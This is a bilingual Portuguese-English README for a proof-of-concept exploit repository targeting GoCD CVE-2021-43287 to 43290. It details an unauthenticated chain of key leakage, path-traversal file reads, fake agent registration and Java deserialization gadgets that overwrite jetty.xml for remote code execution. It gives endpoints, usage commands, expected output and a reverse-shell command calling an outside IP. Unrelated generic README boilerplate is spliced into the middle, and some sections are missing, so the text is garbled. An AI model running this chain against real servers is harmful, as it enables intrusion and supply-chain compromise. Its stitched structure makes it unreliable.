GoCD_PoC_Supply_Chain_Attack

CVE-2021-43287 CVE-2021-43288 CVE-2021-43289 CVE-2021-43290

1. Visão Geral / Overview

[PT] O GoCD é uma plataforma de CI/CD mantida pela ThoughtWorks. Nas versões anteriores à 21.3.0, pesquisadores da SonarSource identificaram uma cadeia de vulnerabilidades explorável sem nenhuma autenticação. Os dois scripts deste repositório demonstram:

• gocd_rce_noauth.py — exploração completa da cadeia até RCE (Execução Remota de Código), sem credenciais.
• gocd_urldns.py — detecção out-of-band da desserialização Java via gadget chain URLDNS e callback DNS (requer credenciais válidas para listar agents registrados).

[EN] GoCD is a CI/CD platform maintained by ThoughtWorks. In versions prior to 21.3.0, SonarSource researchers identified a vulnerability chain exploitable with zero authentication. The two scripts in this repository demonstrate:

• gocd_rce_noauth.py — full chain exploitation up to RCE (Remote Code Execution), without credentials.
• gocd_urldns.py — out-of-band detection of Java deserialization via the URLDNS gadget chain and a DNS callback (requires valid credentials to list registered agents).

2. Impacto na Cadeia de Suprimentos de Software / Software Supply Chain Impact

[PT] O GoCD ocupa uma posição central na cadeia de entrega de software de uma organização: ele orquestra a compilação, os testes, a geração de artefatos e os deploys em produção. Ao comprometer o servidor GoCD via RCE (como demonstrado pelo gocd_rce_noauth.py), um atacante obtém controle sobre todos os estágios desse processo — podendo inserir backdoors em binários, falsificar artefatos ou exfiltrar código-fonte e credenciais antes mesmo que qualquer produto chegue ao usuário final. O cenário é análogo ao ataque à SolarWinds (2020), onde o acesso ao pipeline de build resultou na distribuição de malware para milhares de clientes.

[EN] GoCD occupies a central position in an organization's software delivery chain: it orchestrates builds, tests, artifact generation, and production deployments. By compromising the GoCD server via RCE (as demonstrated by gocd_rce_noauth.py), an attacker gains control over every stage of that process — enabling backdoor insertion into binaries, artifact tampering, or source code and credential exfiltration before any product reaches the end user. The scenario mirrors the SolarWinds attack (2020), where build pipeline access led to malware distribution to thousands of customers.```mermaid flowchart TD ATK(["🕵️ Atacante / Attacker\n(não autenticado / unauthenticated)"])

CVE-2021-43289 / CVE-2021-43290 — Desserialização Java via remoteBuildRepository

[PT] O endpoint /go/remoting/remoteBuildRepository aceita objetos Java serializados (Content-Type: application/x-java-serialized-object) autenticados apenas com o header Authorization: base64(HMAC-SHA256(tokenGenerationKey, agent_uuid)). Como o tokenGenerationKey é obtido via CVE-2021-43287, um atacante sem credenciais pode enviar gadget chains maliciosas. Os scripts utilizam dois gadgets customizados do ysoserial baseados em AspectJWeaver:

• AspectJWeaverFileUpload1 — escreve arquivo arbitrário no sistema de arquivos do servidor (usado para sobrescrever /etc/go/jetty.xml com uma versão maliciosa).
• AspectJWeaverFileRead1 — lê /dev/random, forçando o Jetty a reinicializar e carregar o jetty.xml modificado, disparando a execução do comando injetado via java.lang.Runtime.exec().

[EN] The /go/remoting/remoteBuildRepository endpoint accepts Java serialized objects (Content-Type: application/x-java-serialized-object) authenticated only with the header Authorization: base64(HMAC-SHA256(tokenGenerationKey, agent_uuid)). Since tokenGenerationKey is obtained via CVE-2021-43287, an unauthenticated attacker can send malicious gadget chains. The scripts use two custom ysoserial gadgets based on AspectJWeaver:

• AspectJWeaverFileUpload1 — writes an arbitrary file on the server's filesystem (used to overwrite /etc/go/jetty.xml with a malicious version).
• AspectJWeaverFileRead1 — reads /dev/random, forcing Jetty to restart and load the modified jetty.xml, triggering the command injected via java.lang.Runtime.exec().

4. Encadeamento de Ataque / Attack Chain

gocd_rce_noauth.py — Cadeia completa sem autenticação / Full unauthenticated chain```

ATACANTE (sem credenciais) / ATTACKER (no credentials) │ │ [Step 1] GET /go/add-on/business-continuity/api/cruise_config (CVE-2021-43287) │ └─► Extrai agentAutoRegisterKey + tokenGenerationKey do XML │ │ [Step 3] GET /go/add-on/business-continuity/api/plugin (Path Traversal) │ ?folderName=&pluginName=../../../../../../proc/self/environ │ └─► Lê variáveis de ambiente do processo GoCD │ │ [Step 4] GET /go/add-on/business-continuity/api/plugin (Path Traversal) │ ?folderName=&pluginName=../../../../../../etc/go/jetty.xml │ └─► Lê jetty.xml → salva como bkp_orig_jetty.xml │ │ [Step 6] Localmente: injeta payload em jetty.xml │ └─► Adiciona │ {comando} │ │ antes de → gera exploit_jetty.xml │ │ [Step 7] GET /go/admin/agent/token?uuid={novo_uuid} │ POST /go/admin/agent (com agentAutoRegisterKey extraída) │ └─► Registra agente falso chamado "gocd_rce_noauth" │ │ [Step 8] ysoserial AspectJWeaverFileUpload1 → serializa upload do exploit_jetty.xml → /etc/go/jetty.xml │ ysoserial AspectJWeaverFileRead1 → serializa leitura de /dev/random (trigger de restart) │ │ [Step 9] POST /go/remoting/remoteBuildRepository (Authorization: base64(HMAC-SHA256)) │ └─► Envia AspectJWeaverFileUpload1 → sobrescreve /etc/go/jetty.xml │ └─► Envia AspectJWeaverFileRead1 → força reinicialização do Jetty │ ▼ Jetty reinicia → carrega jetty.xml malicioso → Runtime.exec({comando}) → RCE

5. Pré-requisitos / Prerequisites

Dependências Python / Python dependencies```bash

pip install requests

[PT] O script detecta o sistema operacional automaticamente e usa o caminho correspondente:

• Linux: ./openlogic-openjdk-8u332-b09-linux-x32/bin/java
• Windows: .\openlogic-openjdk-8u332-b09-windows-32\bin\java

[EN] O script detecta automaticamente o sistema operacional e usa o caminho correspondente:

• Linux: ./openlogic-openjdk-8u332-b09-linux-x32/bin/java
• Windows: .\openlogic-openjdk-8u332-b09-windows-32\bin\java

Para gocd_urldns.py: serviço de interação DNS / DNS interaction service

[PT] É necessário um servidor de interação DNS que registre callbacks (ex.: interactsh ou Burp Collaborator). O script envia a URL recebida em -i como argumento para o gadget URLDNS.

[EN] É necessário um servidor de interação DNS que registre callbacks (ex.: interactsh ou Burp Collaborator). O script passa a URL recebida via -i como argumento para o gadget URLDNS.```bash

Iniciar listener interactsh / Start interactsh listener

interactsh-client

Copiar a URL gerada (ex: abcdef.oast.pro) e usar como valor de -i

Copy the generated URL (e.g. abcdef.oast.pro) and use as -i value

Interface web / Web UI

URL: http://localhost:8153/go

Confirmar que o endpoint vulnerável responde (HTTP 200 esperado)

Confirm the vulnerable endpoint responds (HTTP 200 expected)

curl -sk http://localhost:8153/go/add-on/business-continuity/api/cruise_config | head -5

7. Uso dos Scripts / Script Usage

gocd_rce_noauth.py — RCE sem autenticação / Unauthenticated RCE

[PT] Executa a cadeia completa de exploração sem nenhuma credencial: lê o cruise_config, extrai as chaves do servidor, lê e modifica o jetty.xml via path traversal, registra um agente falso, serializa os gadgets AspectJWeaver com ysoserial e os envia ao endpoint de desserialização para sobrescrever o jetty.xml e forçar a reinicialização do Jetty com o comando injetado.

[EN] Executes the full exploitation chain with no credentials: reads cruise_config, extracts server keys, reads and modifies jetty.xml via path traversal, registers a fake agent, serializes the AspectJWeaver gadgets with ysoserial, and sends them to the deserialization endpoint to overwrite jetty.xml and force Jetty to restart with the injected command.

Argumentos / Arguments

Exemplos / Examples```bash

Verificar execução com 'id'

Verify execution with 'id'

python3 gocd_rce_noauth.py
-t http://localhost:8153
-c "id"

Configuração

A ferramenta pode ser configurada por meio de um arquivo de configuração ou de variáveis de ambiente.

Arquivo de Configuração

Crie um arquivo config.yaml:

Variáveis de Ambiente

Uso com Docker

Solução de Problemas

Problemas Comuns

Erro: Conexão recusada

Verifique se o servidor está em execução e se a URL está correta.

Erro: Não autorizado

Verifique se o token está correto e se não expirou.

Erro: Permissão negada

Certifique-se de que o arquivo tem as permissões corretas:

Modo de Depuração

Ative a saída detalhada para ver informações de depuração:

Contribuindo

Contribuições são bem-vindas! Consulte CONTRIBUTING.md para obter diretrizes.

Como Contribuir

1. Faça um fork do repositório
2. Crie uma branch de recurso (git checkout -b feature/amazing-feature)
3. Faça commit das suas alterações (git commit -m 'Add amazing feature')
4. Faça push para a branch (git push origin feature/amazing-feature)
5. Abra um Pull Request

Diretrizes

• Siga o estilo de código existente
• Adicione testes para novos recursos
• Atualize a documentação conforme necessário
• Mantenha os commits atômicos e com mensagens claras

Licença

Este projeto está licenciado sob a Licença MIT - consulte o arquivo LICENSE para obter detalhes.

Agradecimentos

• Obrigado a todos os contribuidores
• Inspirado por projetos semelhantes
• Ícones fornecidos por Iconify

Suporte

• 📖 Documentação
• 💬 Discussões
• 🐛 Rastreador de Problemas
• 📧 E-mail

Aviso: Esta ferramenta destina-se apenas a testes de segurança autorizados e fins educacionais. Sempre obtenha a devida autorização antes de testar qualquer sistema.```bash

Reverse shell (ajustar IP e porta / adjust IP and port)

python3 gocd_rce_noauth.py
-t http://localhost:8153
-c "bash -i >& /dev/tcp/192.168.1.10/4444 0>&1"

Saída esperada / Saída esperada```

[1] Verificando arquivo cruise_config Arquivo cruise_config acessível

[2] Lendo atributos do servidor agentAutoRegisterKey: 3b4c5d6e-... tokenGenerationKey: 7f8a9b0c-... artifactsdir: /godata/artifacts siteUrl: http://localhost:8153/go ...

[3] Verificando arquivo variáveis de ambiente do processo Arquivo acessível

[4] Verificando arquivo jetty.xml Arquivo acessível

[5] Criando backup do arquivo jetty.xml Backup criado

[6] Criando arquivo exploit_jetty.xml Arquivo criado

[7] Registrando novo agent Gerando token do agent Token gerado

Registrando novo agent Agent registrado Dados do agent: {'hostname': 'gocd_rce_noauth', 'uuid': 'a1b2c3d4-...', ...}

[8] Serializando objetos Objetos serializados

[9] Enviando objetos serializados Enviando exploit_jetty.xml Arquivo enviado

Enviando comando para forçar reinicialização Aguardando reinicialização

gocd_urldns.py — URLDNS / Detecção de desserialização

[PT] Variante de detecção out-of-band que confirma a vulnerabilidade de desserialização Java sem executar código destrutivo. Requer credenciais para autenticar e listar os agents registrados, da qual extrai o UUID de um agent com agent_state != "Building". Em seguida serializa o gadget URLDNS com o ysoserial apontando para uma URL de interação DNS e o envia ao endpoint /go/remoting/remoteBuildRepository. Um callback DNS confirmará que o servidor desserializou o payload.

[EN] An out-of-band detection variant that confirms the Java deserialization vulnerability without executing destructive code. Requires credentials to authenticate and list registered agents, from which it extracts the UUID of an agent with agent_state != "Building". It then serializes the URLDNS gadget with ysoserial pointing to a DNS interaction URL and sends it to the /go/remoting/remoteBuildRepository endpoint. A DNS callback will confirm the server deserialized the payload.

Argumentos / Arguments

Exemplo / Example```bash

python3 gocd_urldns.py
-t http://localhost:8153
-u admin
-p password
-i http://abcdef.oast.pro

[PT] Após o envio, verificar no painel do interactsh/Collaborator se houve uma requisição DNS originada do IP do servidor GoCD. Isso confirma a vulnerabilidade de desserialização antes de explorar com o gocd_rce_noauth.py.

[EN] After sending, check the interactsh/Collaborator dashboard for a DNS request originating from the GoCD server's IP. This confirms the deserialization vulnerability before exploiting with gocd_rce_noauth.py.

Cabeçalho de autorização / Authorization header

Ambos os scripts calculam a autorização da mesma forma / Both scripts compute authorization the same way:```python Authorization = base64( HMAC-SHA256(key=tokenGenerationKey, msg=agent_uuid) )